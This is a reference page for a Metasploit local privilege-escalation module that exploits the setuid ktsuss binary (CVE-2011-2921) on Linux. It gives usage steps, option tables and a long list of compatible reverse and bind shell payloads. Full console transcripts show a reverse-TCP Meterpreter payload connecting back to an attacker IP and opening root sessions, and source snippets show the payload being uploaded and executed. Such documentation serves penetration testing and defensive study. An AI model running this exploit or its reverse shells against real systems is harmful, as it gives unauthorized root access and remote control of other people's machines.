ktsuss suid Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/linux/local/ktsuss_suid_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: ktsuss suid Privilege Escalation
Module: exploit/linux/local/ktsuss_suid_priv_esc
Source code: modules/exploits/linux/local/ktsuss_suid_priv_esc.rb
Disclosure date: 2011-08-13
Last modification time: 2020-09-18 11:38:43 +0000
Supported architecture(s): x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2011-2921

This module attempts to gain root privileges by exploiting a vulnerability in ktsuss versions 1.4 and prior. The ktsuss executable is setuid root and does not drop privileges prior to executing user specified commands, resulting in command execution with root privileges. This module has been tested successfully on: ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64); and ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64).

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/ktsuss_suid_priv_esc
msf exploit(ktsuss_suid_priv_esc) > show targets
    ... a list of targets ...
msf exploit(ktsuss_suid_priv_esc) > set TARGET target-id
msf exploit(ktsuss_suid_priv_esc) > show options
    ... show and set options ...
msf exploit(ktsuss_suid_priv_esc) > set SESSION session-id
msf exploit(ktsuss_suid_priv_esc) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


This module attempts to gain root privileges by exploiting a vulnerability in ktsuss versions 1.4 and prior.

The ktsuss executable is setuid root and does not drop privileges prior to executing user specified commands, resulting in command execution with root privileges.

Vulnerable Application


This module has been tested successfully on:

  • ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64)
  • ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64)

Verification Steps


  1. Start msfconsole
  2. Get a session
  3. use exploit/linux/local/ktsuss_suid_priv_esc
  4. set SESSION [SESSION]
  5. check
  6. run
  7. You should get a new root session

Options


KTSUSS_PATH

Path to ktsuss executable (default: /usr/bin/ktsuss)

WritableDir

A writable directory file system path. (default: /tmp)

Scenarios


ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64)

  msf5 > use exploit/linux/local/ktsuss_suid_priv_esc 
  msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set session 1
  session => 1
  msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set verbose true
  verbose => true
  msf5 exploit(linux/local/ktsuss_suid_priv_esc) > check

  [+] /usr/bin/ktsuss is setuid
  [*] uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test)
  [+] The target is vulnerable.
  msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp 
  payload => linux/x64/meterpreter/reverse_tcp
  msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set lhost 172.16.191.165
  lhost => 172.16.191.165
  msf5 exploit(linux/local/ktsuss_suid_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.165:4444 
  [+] /usr/bin/ktsuss is setuid
  [*] uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test)
  [*] Writing '/tmp/.lBanpIYpAJ60cwt' (389 bytes) ...
  [*] Executing payload ...
  [*] Transmitting intermediate stager...(126 bytes)
  [*] Sending stage (3021284 bytes) to 172.16.191.137

  [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.137:53060) at 2019-08-19 09:18:29 -0400

  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : 172.16.191.137
  OS           : Sparky 5.8 (Linux 4.19.0-5-amd64)
  Architecture : x64
  BuildTuple   : x86_64-linux-musl
  Meterpreter  : x64/linux
  meterpreter > 

ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64)

  msf5 > use exploit/linux/local/ktsuss_suid_priv_esc 
  msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set session 1
  session => 1
  msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set verbose true
  verbose => true
  msf5 exploit(linux/local/ktsuss_suid_priv_esc) > check

  [+] /usr/bin/ktsuss is setuid
  [*] uid=1001(test) gid=1002(test) euid=0(root) groups=1002(test)
  [+] The target is vulnerable.
  msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
  payload => linux/x64/meterpreter/reverse_tcp
  msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set lhost 172.16.191.165
  lhost => 172.16.191.165
  msf5 exploit(linux/local/ktsuss_suid_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.165:4444 
  [+] /usr/bin/ktsuss is setuid
  [*] uid=1001(test) gid=1002(test) euid=0(root) groups=1002(test)
  [*] Writing '/tmp/.R0aTPpB8aHk' (389 bytes) ...
  [*] Executing payload ...
  [*] Transmitting intermediate stager...(126 bytes)
  [*] Sending stage (3021284 bytes) to 172.16.191.167

  [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.167:44534) at 2019-08-19 09:25:48 -0400

  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : 172.16.191.167
  OS           : Sparky 6 (Linux 4.19.0-5-amd64)
  Architecture : x64
  BuildTuple   : x86_64-linux-musl
  Meterpreter  : x64/linux
  meterpreter > 

Go back to menu.

Msfconsole Usage


Here is how the linux/local/ktsuss_suid_priv_esc exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/ktsuss_suid_priv_esc

[*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp
msf6 exploit(linux/local/ktsuss_suid_priv_esc) > show info

       Name: ktsuss suid Privilege Escalation
     Module: exploit/linux/local/ktsuss_suid_priv_esc
   Platform: Linux
       Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-08-13

Provided by:
  John Lightsey
  bcoles <[email protected]>

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Auto

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  KTSUSS_PATH  /usr/bin/ktsuss  yes       Path to staprun executable
  SESSION                       yes       The session to run this module on.

Payload information:

Description:
  This module attempts to gain root privileges by exploiting a 
  vulnerability in ktsuss versions 1.4 and prior. The ktsuss 
  executable is setuid root and does not drop privileges prior to 
  executing user specified commands, resulting in command execution 
  with root privileges. This module has been tested successfully on: 
  ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64); and ktsuss 1.3 
  on SparkyLinux 5.8 (LXQT) (x64).

References:
  https://nvd.nist.gov/vuln/detail/CVE-2011-2921
  https://www.openwall.com/lists/oss-security/2011/08/13/2
  https://security.gentoo.org/glsa/201201-15
  https://github.com/bcoles/local-exploits/blob/master/CVE-2011-2921/ktsuss-lpe.sh

Module Options


This is a complete list of options available in the linux/local/ktsuss_suid_priv_esc exploit:

msf6 exploit(linux/local/ktsuss_suid_priv_esc) > show options

Module options (exploit/linux/local/ktsuss_suid_priv_esc):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   KTSUSS_PATH  /usr/bin/ktsuss  yes       Path to staprun executable
   SESSION                       yes       The session to run this module on.

Payload options (linux/aarch64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Auto

Advanced Options


Here is a complete list of advanced options supported by the linux/local/ktsuss_suid_priv_esc exploit:

msf6 exploit(linux/local/ktsuss_suid_priv_esc) > show advanced

Module advanced options (exploit/linux/local/ktsuss_suid_priv_esc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (linux/aarch64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/ktsuss_suid_priv_esc module can exploit:

msf6 exploit(linux/local/ktsuss_suid_priv_esc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Auto

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/ktsuss_suid_priv_esc exploit:

msf6 exploit(linux/local/ktsuss_suid_priv_esc) > show payloads

Compatible Payloads
===================

   #   Name                                               Disclosure Date  Rank    Check  Description
   -   ----                                               ---------------  ----    -----  -----------
   0   payload/generic/custom                                              normal  No     Custom Payload
   1   payload/generic/debug_trap                                          normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                      normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                   normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                          normal  No     Generic x86 Tight Loop
   5   payload/linux/aarch64/meterpreter/reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Stager
   6   payload/linux/aarch64/meterpreter_reverse_http                      normal  No     Linux Meterpreter, Reverse HTTP Inline
   7   payload/linux/aarch64/meterpreter_reverse_https                     normal  No     Linux Meterpreter, Reverse HTTPS Inline
   8   payload/linux/aarch64/meterpreter_reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Inline
   9   payload/linux/aarch64/shell/reverse_tcp                             normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   10  payload/linux/aarch64/shell_reverse_tcp                             normal  No     Linux Command Shell, Reverse TCP Inline
   11  payload/linux/armle/exec                                            normal  No     Linux Execute Command
   12  payload/linux/armle/meterpreter/bind_tcp                            normal  No     Linux Meterpreter, Bind TCP Stager
   13  payload/linux/armle/meterpreter/reverse_tcp                         normal  No     Linux Meterpreter, Reverse TCP Stager
   14  payload/linux/armle/meterpreter_reverse_http                        normal  No     Linux Meterpreter, Reverse HTTP Inline
   15  payload/linux/armle/meterpreter_reverse_https                       normal  No     Linux Meterpreter, Reverse HTTPS Inline
   16  payload/linux/armle/meterpreter_reverse_tcp                         normal  No     Linux Meterpreter, Reverse TCP Inline
   17  payload/linux/armle/shell/bind_tcp                                  normal  No     Linux dup2 Command Shell, Bind TCP Stager
   18  payload/linux/armle/shell/reverse_tcp                               normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   19  payload/linux/armle/shell_bind_tcp                                  normal  No     Linux Command Shell, Reverse TCP Inline
   20  payload/linux/armle/shell_reverse_tcp                               normal  No     Linux Command Shell, Reverse TCP Inline
   21  payload/linux/mipsbe/exec                                           normal  No     Linux Execute Command
   22  payload/linux/mipsbe/meterpreter/reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Stager
   23  payload/linux/mipsbe/meterpreter_reverse_http                       normal  No     Linux Meterpreter, Reverse HTTP Inline
   24  payload/linux/mipsbe/meterpreter_reverse_https                      normal  No     Linux Meterpreter, Reverse HTTPS Inline
   25  payload/linux/mipsbe/meterpreter_reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Inline
   26  payload/linux/mipsbe/reboot                                         normal  No     Linux Reboot
   27  payload/linux/mipsbe/shell/reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Stager
   28  payload/linux/mipsbe/shell_bind_tcp                                 normal  No     Linux Command Shell, Bind TCP Inline
   29  payload/linux/mipsbe/shell_reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Inline
   30  payload/linux/mipsle/exec                                           normal  No     Linux Execute Command
   31  payload/linux/mipsle/meterpreter/reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Stager
   32  payload/linux/mipsle/meterpreter_reverse_http                       normal  No     Linux Meterpreter, Reverse HTTP Inline
   33  payload/linux/mipsle/meterpreter_reverse_https                      normal  No     Linux Meterpreter, Reverse HTTPS Inline
   34  payload/linux/mipsle/meterpreter_reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Inline
   35  payload/linux/mipsle/reboot                                         normal  No     Linux Reboot
   36  payload/linux/mipsle/shell/reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Stager
   37  payload/linux/mipsle/shell_bind_tcp                                 normal  No     Linux Command Shell, Bind TCP Inline
   38  payload/linux/mipsle/shell_reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Inline
   39  payload/linux/ppc/meterpreter_reverse_http                          normal  No     Linux Meterpreter, Reverse HTTP Inline
   40  payload/linux/ppc/meterpreter_reverse_https                         normal  No     Linux Meterpreter, Reverse HTTPS Inline
   41  payload/linux/ppc/meterpreter_reverse_tcp                           normal  No     Linux Meterpreter, Reverse TCP Inline
   42  payload/linux/ppc/shell_bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Inline
   43  payload/linux/ppc/shell_reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Inline
   44  payload/linux/ppc64/shell_bind_tcp                                  normal  No     Linux Command Shell, Bind TCP Inline
   45  payload/linux/ppc64/shell_reverse_tcp                               normal  No     Linux Command Shell, Reverse TCP Inline
   46  payload/linux/ppc64le/meterpreter_reverse_http                      normal  No     Linux Meterpreter, Reverse HTTP Inline
   47  payload/linux/ppc64le/meterpreter_reverse_https                     normal  No     Linux Meterpreter, Reverse HTTPS Inline
   48  payload/linux/ppc64le/meterpreter_reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Inline
   49  payload/linux/ppce500v2/meterpreter_reverse_http                    normal  No     Linux Meterpreter, Reverse HTTP Inline
   50  payload/linux/ppce500v2/meterpreter_reverse_https                   normal  No     Linux Meterpreter, Reverse HTTPS Inline
   51  payload/linux/ppce500v2/meterpreter_reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Inline
   52  payload/linux/x64/exec                                              normal  No     Linux Execute Command
   53  payload/linux/x64/meterpreter/bind_tcp                              normal  No     Linux Mettle x64, Bind TCP Stager
   54  payload/linux/x64/meterpreter/reverse_tcp                           normal  No     Linux Mettle x64, Reverse TCP Stager
   55  payload/linux/x64/meterpreter_reverse_http                          normal  No     Linux Meterpreter, Reverse HTTP Inline
   56  payload/linux/x64/meterpreter_reverse_https                         normal  No     Linux Meterpreter, Reverse HTTPS Inline
   57  payload/linux/x64/meterpreter_reverse_tcp                           normal  No     Linux Meterpreter, Reverse TCP Inline
   58  payload/linux/x64/shell/bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Stager
   59  payload/linux/x64/shell/reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Stager
   60  payload/linux/x64/shell_bind_ipv6_tcp                               normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   61  payload/linux/x64/shell_bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Inline
   62  payload/linux/x64/shell_bind_tcp_random_port                        normal  No     Linux Command Shell, Bind TCP Random Port Inline
   63  payload/linux/x64/shell_reverse_ipv6_tcp                            normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   64  payload/linux/x64/shell_reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Inline
   65  payload/linux/x86/chmod                                             normal  No     Linux Chmod
   66  payload/linux/x86/exec                                              normal  No     Linux Execute Command
   67  payload/linux/x86/meterpreter/bind_ipv6_tcp                         normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   68  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                    normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   69  payload/linux/x86/meterpreter/bind_nonx_tcp                         normal  No     Linux Mettle x86, Bind TCP Stager
   70  payload/linux/x86/meterpreter/bind_tcp                              normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   71  payload/linux/x86/meterpreter/bind_tcp_uuid                         normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   72  payload/linux/x86/meterpreter/reverse_ipv6_tcp                      normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   73  payload/linux/x86/meterpreter/reverse_nonx_tcp                      normal  No     Linux Mettle x86, Reverse TCP Stager
   74  payload/linux/x86/meterpreter/reverse_tcp                           normal  No     Linux Mettle x86, Reverse TCP Stager
   75  payload/linux/x86/meterpreter/reverse_tcp_uuid                      normal  No     Linux Mettle x86, Reverse TCP Stager
   76  payload/linux/x86/meterpreter_reverse_http                          normal  No     Linux Meterpreter, Reverse HTTP Inline
   77  payload/linux/x86/meterpreter_reverse_https                         normal  No     Linux Meterpreter, Reverse HTTPS Inline
   78  payload/linux/x86/meterpreter_reverse_tcp                           normal  No     Linux Meterpreter, Reverse TCP Inline
   79  payload/linux/x86/metsvc_bind_tcp                                   normal  No     Linux Meterpreter Service, Bind TCP
   80  payload/linux/x86/metsvc_reverse_tcp                                normal  No     Linux Meterpreter Service, Reverse TCP Inline
   81  payload/linux/x86/read_file                                         normal  No     Linux Read File
   82  payload/linux/x86/shell/bind_ipv6_tcp                               normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   83  payload/linux/x86/shell/bind_ipv6_tcp_uuid                          normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   84  payload/linux/x86/shell/bind_nonx_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   85  payload/linux/x86/shell/bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   86  payload/linux/x86/shell/bind_tcp_uuid                               normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   87  payload/linux/x86/shell/reverse_ipv6_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   88  payload/linux/x86/shell/reverse_nonx_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   89  payload/linux/x86/shell/reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Stager
   90  payload/linux/x86/shell/reverse_tcp_uuid                            normal  No     Linux Command Shell, Reverse TCP Stager
   91  payload/linux/x86/shell_bind_ipv6_tcp                               normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   92  payload/linux/x86/shell_bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Inline
   93  payload/linux/x86/shell_bind_tcp_random_port                        normal  No     Linux Command Shell, Bind TCP Random Port Inline
   94  payload/linux/x86/shell_reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Inline
   95  payload/linux/x86/shell_reverse_tcp_ipv6                            normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/ktsuss_suid_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/ktsuss_suid_priv_esc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<KTSUSS_PATH> is not setuid


Here is a relevant code snippet related to the "<KTSUSS_PATH> is not setuid" error message:

99:	    chmod path
100:	  end
101:	
102:	  def check
103:	    unless setuid? ktsuss_path
104:	      vprint_error "#{ktsuss_path} is not setuid"
105:	      return CheckCode::Safe
106:	    end
107:	    vprint_good "#{ktsuss_path} is setuid"
108:	
109:	    id = cmd_exec 'whoami'

Session already has root privileges. Set ForceExploit to override.


Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:

118:	  end
119:	
120:	  def exploit
121:	    if is_root?
122:	      unless datastore['ForceExploit']
123:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
124:	      end
125:	    end
126:	
127:	    unless writable? base_dir
128:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"

<BASE_DIR> is not writable


Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

123:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
124:	      end
125:	    end
126:	
127:	    unless writable? base_dir
128:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
129:	    end
130:	
131:	    payload_name = ".#{rand_text_alphanumeric 10..15}"
132:	    payload_path = "#{base_dir}/#{payload_name}"
133:	    upload_and_chmodx payload_path, generate_payload_exe

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • John Lightsey
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.